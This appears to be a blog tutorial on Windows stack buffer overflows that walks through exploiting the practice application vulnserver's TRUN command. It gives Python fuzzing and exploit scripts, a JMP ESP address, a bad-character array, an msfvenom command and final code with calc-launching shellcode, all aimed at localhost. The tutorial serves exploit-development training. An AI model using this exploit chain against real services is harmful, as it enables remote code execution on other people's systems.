Windows Buffer Overflow Primer

Understanding stack-based overflows by exploiting vulnerserver

Prerequisites:

Before getting into the weeds with exploit development, I highly recommend that you have a solid understanding of assembly (Stack, Registers, Calling convention, etc). If you are curious here are a few resources that I would recommend and should be enough to get you wrting exploits. I will not be covering any assembly as there are tons of posts surrounding basic assembly.

TLDR; I would learn x86/x64 assembly as there is a lot of overlap and you will most likely run into both architectures.

  • X86 Assembly Guide - Link

  • x64 Assembly Intro - Link

  • Intel Intro to x64 Assembly - Link

  • Journey to the Stack - Link

You will also need PyKd & Mona which can be found:

What is a Stack-based Overflow:

Wikipedia Definition: Stack-based buffer overflow occurs when a program writes to a memory address on the program's call stack outside of the intended data structure, which is usually a fixed-length buffer. Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than what is actually allocated for that buffer.

In lamin terms, you have an area designed for storage with a specific capacity limit. If that storage were to hold more than the allocated storage limit it would overflow...Pretty simple however, this is very simplified.

So it may not be the most accurate definition but should help you understand what a buffer overflow is.

Let us go one step further and show you an example program that has a buffer overflow:

#include <stdio.h>
#include <string.h>

int main(){
	char Password[20];
	char UserPassword[20];

	strncpy(Password, "ddddddddddddddd", 20);
	gets(UserPassword);
	
	if (0 == strncmp(UserPassword, Password, 20)){
		printf("SUCCESS!\n");
	}else{
		printf("FAILURE!\n");
	}
	
	return 0;
}

This program creates two variables that hold a buffer with a size of 20. The program calls strncpy which will copy said input into the Password variable and will hold the value:

ddddddddddddddd

The call to gets (which takes user input) is where the program is vulnerable. This specific function is vulnerable as it does no checks on the size of the input. If you remember earlier our storage can only hold a certain amount of stuff. If we pass in more than 20 characters this will cause the program to crash.

I found a great illustration showing what the stack looks like if our input is within our buffer and what the stack looks like if our input exceeds the buffer

Exploiting Vulnserver - TRUN:

With all that out of the way let's try exploiting a vulnerable application. We'll start super easy and use a program that was made purposely vulnerable for people like us to practice. Vulnserver can be found on GitHub.

Running vulnserver we are presented with:

Connecting to the vulnserver using netcat we are presented with a greeting message:

Specifically for this blog post, we will be focusing on TRUN. Luckily for us, we do have the source code of this application. However, this is not always the case so be prepared.

// Vulnerable function 
void Function3(char *Input) {
    // Setting the buffer to 2000 bytes
	char Buffer2S[2000];
    // Strcpy used below which causes vulnerability
    // Allows input of any size into any buffer, allowing for input to be greater than buffer and cause an overflow	
    // If the input is greater than 2000, it should cause a buffer overflow
	strcpy(Buffer2S, Input);
}

// Snipping the irrelevant parts for TRUN

// Calls TRUN and the vulnerable function, allowing for a buffer overflow to occur
// Checking to see if user has input TRUN on the command line
else if (strncmp(RecvBuf, "TRUN ", 5) == 0) {
  // Allocating a memory of 3000 bytes
  char *TrunBuf = malloc(3000);
	memset(TrunBuf, 0, 3000);
    // Iterating through the input 
	for (i = 5; i < RecvBufLen; i++) {
        // Looking for a '.', so will need that in the payload? 
		if ((char)RecvBuf[i] == '.') {
            // Copies user input into TrunBuf, Uses strncpy which is secure
            // Instead of overflowing, it will only take the first 3000 bytes of the payload
			strncpy(TrunBuf, RecvBuf, 3000);
            // Calls the vulnerable function and puts TrunBuf in as input 
            // TrunBuf can be 3000 bytes long, and the allocated buffer in Function3 is 2000 bytes long....				
			Function3(TrunBuf);
			break;
		}
	}
  // Clears TrunBuf after completing 
  memset(TrunBuf, 0, 3000);		
  // Sends the result to the client showing it completed		
	SendResult = send( Client, "TRUN COMPLETE\n", 14, 0 );c

Looking at the source we can indeed determine that TRUN function is vulnerable to a buffer overflow attack specifically the function strcpy, which allows for input greater than the allocated buffer. This means input will start overflowing and spilling onto the stack, which allows us to control the stack and exploit the buffer overflow.

Fuzzing TRUN

Since I am a big smooth brained person, I am using the fuzzing script provided by @The_Keeb

# Python3
from boofuzz import *
import time

# Function for grabbing the banner each time it connects
def get_banner(target, my_logger, session, *args, **kwargs):
  # Set the function banner_template as the string we expect to see on connection
  banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
  try:
    # Recieve buffer from the target
    banner = target.recv(10000)
  except:
    # If nothing recieved from the target, print and exit
    print("Unable to connect. Target is down. Exiting.")
    exit(1)

  # Printing to our log to let us know its recieving something
  my_logger.log_check('Receiving banner..')
  # Check that what we recieved contains the string we expected
  if banner_template in banner:
    my_logger.log_pass('banner received')
  else:
    # If it doesn't contain the string we expected, fail and exit
    my_logger.log_fail('No banner received')
    print("No banner received, exiting..")
    exit(1)

# Main function
def main():

  # This is a boofuzz standard piece of code and is on their docs as a template
  session = Session(
	sleep_time=1,
    target=Target(
      # This sets the connection host and port for vulnserver
      connection=SocketConnection("127.0.0.1", 9999, proto='tcp')
    ),
  )

  # Setup request
  s_initialize(name="Request")
  with s_block("Host-Line"):
    # Send TRUN command to vulnserver
    s_static("TRUN", name='command name')
    # Add a space after TRUN
    s_delim(" ")
    # After TRUN and the space, add the fuzzing payloads
    s_string("FUZZ",  name='trun variable content')
    # Add a new line after the fuzzing payload (so that it sends)
    s_delim("\r\n")

  # Fuzzing
  session.connect(s_get("Request"), callback=get_banner)
  session.fuzz()

# Calls main
if __name__ == "__main__":
	main()

Running this script will take a few minutes but eventually, the program will crash. Looking at our output we see that the fuzzing payload was 10'007 bytes long. We know now that if we provide 10'007 bytes into the input vulnserver crashes and dies. With this, we can being to craft our exploit.

Crashing Vulnserver

# Author @The_Keeb

import socket

# Set server for connection
server = '127.0.0.1'
port = 9999

# Set payload enough A's to crash the app
payload = b"A"*10007

# Create the connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server,port))

# Get the welcome message
print(s.recv(1024))

# Send the payload
s.send((b'TRUN .' + payload + b'\r\n'))

# Get the return (shouldn't be any return)
print(s.recv(1024))

# If it didn't crash already, close the connection
s.close()

With vulnserver running, execute our python script. This should reliably crash the program.

This time load up a debugger of your choice I'll be using WinDbg. And crash vulnserver again

Now run our exploit code again. The program should crash however your debugger should catch it.

Looking at WinDbg we see some good information:

  • The memory region at the bottom right (showing ESP) has our payload in it (0x41 in ASCII is A)

  • The registers in the middle of the screen shows that EIP (Instruction Pointer) is 41414141

  • The command window on the bottom left of the screen shows an Access Violation

The overwrite of EIP (the 32-bit Instruction Pointer) is especially important. The EIP points to the next instruction to be executed, and it is currently pointing at AAAA. This shows the buffer overflow was successful and that we can change the next instruction that the program will execute.

The plan now will be to change the value of EIP to some instruction that will point the flow of execution to the stack (ESP), so that we can execute the custom shellcode that we have placed there.

Controlling EIP

For this next step, we will be using mona.py to help us out. In WinDbg command window enter:

!py mona pattern_create 10000

This will create a text file called pattern.txt, open that text file and paste the pattern into our exploit code. Our exploit should now look like this:

# Author @The_Keeb

import socket

server = '127.0.0.1'
port = 9999

# A's replaced for cyclic pattern
payload = b"PATTERN"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server,port))

print(s.recv(1024))

s.send((b'TRUN .' + payload + b'\r\n'))

print(s.recv(1024))

s.close()

Replacing PATTERN with our pattern.txt file.

With our code updated restart vulnserver and run our exploit again.

Our debugger should catch it. Looking at our registers we are interested in the value of EIP. Take this value and use mona to calculate the offset.

!py mona pattern_offset <value>

This tells us that the string we see in EIP currently occurs in the cyclic pattern that is generated at position 2006.

This means if we cause a buffer overflow, at position 2006 we can enter an address and we will control the EIP. We can test this by changing our exploit code:

# Author @The_Keeb

import socket

server = '127.0.0.1'
port = 9999

# A's to cover up to the offset of the EIP
payload = b"A" * 2006
# B's to overwrite the EIP (which is 4 bytes in 32 bit)
payload += b"B" * 4
# C's  to fill out the rest of the buffer to make sure conditions stay the same
payload += b"C" * (10007 - 4 - 2006)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server,port))

print(s.recv(1024))

s.send((b'TRUN .' + payload + b'\r\n'))

print(s.recv(1024))

s.close()

This will print 2006 A's, then 4 B's, and the rest C's

Re-running vulnserver and then running our exploit code we should see:

We now see that EIP is 42424242 which is "BBBB" in hex. We know now that we can control EIP and overwrite it.

Jumping to Stack Pointer

Now that we know we can control EIP we need to put something in that will take us to the shellcode we want to run.

To do this we can use a JMP ESP instruction that will jump to the stack pointer, which is pointing to our payload within the stack.

We can do this with mona:

!py mona jmp -r esp

We can see several occurrences of JMP ESP, in this case, I am going to use the first one but I encourage you to try a different offset.

We need to take this address 0x625011af and place it within EIP instead of BBBB

We need to remember to enter this value as little-endian, otherwise, our code will not work as intended

Our address 0x625011af would look like 0xaf115062

To verify that our jump to the stack worked properly we can place a breakpoint right after. Which should pause execution.

We can do this with \xcc

Our code should now look like:

# Author @The_Keeb

import socket

server = '127.0.0.1'
port = 9999

# A's to cover up to the offset of the EIP
payload = b"A" * 2006
# B's to overwrite the EIP (which is 4 bytes in 32 bit)
payload += b"\xaf\x11\x50\x62"
# Breakpoint to check our JMP worked
payload += b"\xcc"
# C's  to fill out the rest of the buffer to make sure conditions stay the same
payload += b"C" * (10007 - 4 - 1 - 2006)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server,port))

print(s.recv(1024))

s.send((b'TRUN .' + payload + b'\r\n'))

print(s.recv(1024))

s.close()

If we restart our vulnserver in WinDbg (CTRL+SHIFT+F5)

Now run our exploit code.

WinDbg should catch our breakpoint and you can tell we hit our breakpoint because we see cc int 3 which is a breakpoint.

Before we just generate shellcode and slap it in we need to verify if there are any bad characters.

Finding Bad Characters

What are bad characters?

When generating shellcode we could have some bad characetrs. For example the null byte 0x00 is a bad character since it often gets interpreted as the end of the string and then the rest of our shellcode is lost.

To find bad characters we can of course use mona again.

!py mona bytearray

This will generate all possible byte characters.

We can now add this after our breakpoint like so:

# Author @The_Keeb

import socket

server = '127.0.0.1'
port = 9999

bad_chars = (b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


# A's to cover up to the offset of the EIP
payload = b"A" * 2006
# B's to overwrite the EIP (which is 4 bytes in 32 bit)
payload += b"\xaf\x11\x50\x62"
# Breakpoint to check our JMP worked
payload += b"\xcc"
# Add our bad_chars 
payload += bad_chars
# C's  to fill out the rest of the buffer to make sure conditions stay the same
payload += b"C" * (10007 - 4 - 1 - 2006 - len(bad_chars))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server,port))

print(s.recv(1024))

s.send((b'TRUN .' + payload + b'\r\n'))

print(s.recv(1024))

s.close()

Restart vulnserver and re-run our exploit. We should hit our breakpoint to stop execution.

We can see our JMP ESP below that we can see our breakpoint \xcc in the small red box. After which we see \x00 which is the first byte in our array. However, after we do not see the expected byte \x01 this means that our code has been mangled. When this happens it means the last byte that we can see that we input is a bad character. This means we can't use the byte \x00 in our exploit code.

With this we can edit out exploit to remove the byte \x00

This will be an iterativey process so it may take a few runs to find all the bad characters.

In this case if we update our code to remove byte \x00 and re-run our exploit we will see this:

We can see the full byte array this time all the way to byte \xff

Now that we have found all the bad characters we can now finally generate our shellcode.

Generating Shellcode

For my shellcode I am going to just use a basic calc generated from msfvenom

The command to do so would look the:

msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f py

-p is indicating the payload arcitecture

-b is excluding byte \x00 in our shellcode

-f is used to define output file type

Our final exploit code should look like this:

# Author @The_Keeb

import socket

server = '127.0.0.1'
port = 9999

# Calculator shellcode 
buf =  b""
buf += b"\xd9\xd0\xb8\x2d\x27\xf4\x57\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x31\x83\xc3\x04\x31\x43\x14\x03\x43\x39\xc5"
buf += b"\x01\xab\xa9\x8b\xea\x54\x29\xec\x63\xb1\x18\x2c\x17"
buf += b"\xb1\x0a\x9c\x53\x97\xa6\x57\x31\x0c\x3d\x15\x9e\x23"
buf += b"\xf6\x90\xf8\x0a\x07\x88\x39\x0c\x8b\xd3\x6d\xee\xb2"
buf += b"\x1b\x60\xef\xf3\x46\x89\xbd\xac\x0d\x3c\x52\xd9\x58"
buf += b"\xfd\xd9\x91\x4d\x85\x3e\x61\x6f\xa4\x90\xfa\x36\x66"
buf += b"\x12\x2f\x43\x2f\x0c\x2c\x6e\xf9\xa7\x86\x04\xf8\x61"
buf += b"\xd7\xe5\x57\x4c\xd8\x17\xa9\x88\xde\xc7\xdc\xe0\x1d"
buf += b"\x75\xe7\x36\x5c\xa1\x62\xad\xc6\x22\xd4\x09\xf7\xe7"
buf += b"\x83\xda\xfb\x4c\xc7\x85\x1f\x52\x04\xbe\x1b\xdf\xab"
buf += b"\x11\xaa\x9b\x8f\xb5\xf7\x78\xb1\xec\x5d\x2e\xce\xef"
buf += b"\x3e\x8f\x6a\x7b\xd2\xc4\x06\x26\xb8\x1b\x94\x5c\x8e"
buf += b"\x1c\xa6\x5e\xbe\x74\x97\xd5\x51\x02\x28\x3c\x16\xfc"
buf += b"\x62\x1d\x3e\x95\x2a\xf7\x03\xf8\xcc\x2d\x47\x05\x4f"
buf += b"\xc4\x37\xf2\x4f\xad\x32\xbe\xd7\x5d\x4e\xaf\xbd\x61"
buf += b"\xfd\xd0\x97\x01\x60\x43\x7b\xe8\x07\xe3\x1e\xf4"

# A's to hit EIP
payload = b"A" * 2006
# EIP overwrite to JMP ESP
payload += b"\xaf\x11\x50\x62" #0x625011af
# breakpoint to check
payload += b"\xcc"
# NOP sled for stability
payload += b"\x90"*20
# Shellcode
payload += buf
# Padding 
payload += b"C" * (10007 - 4 - 2006 - 1 - 20 - len(buf))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((server,port))

print(s.recv(1024))

s.send((b'TRUN .' + payload + b'\r\n'))

print(s.recv(1024))

s.close()

Re-runnig our exploit we should see calc pop up:

Summary

In this post we went over what a stack-based buffer overflow is. We then exploited a buffer overflow within Vulnserver specificaly the function TRUN.

Thats all folks, I hope you found this post interesting and informative. Stay tuned as I plan to release more exploit development guides both for myself for OSED prep and you as a reader can continue learning alongside with me!

Exploit code can be found on my GitHub: Here

Resources

Last updated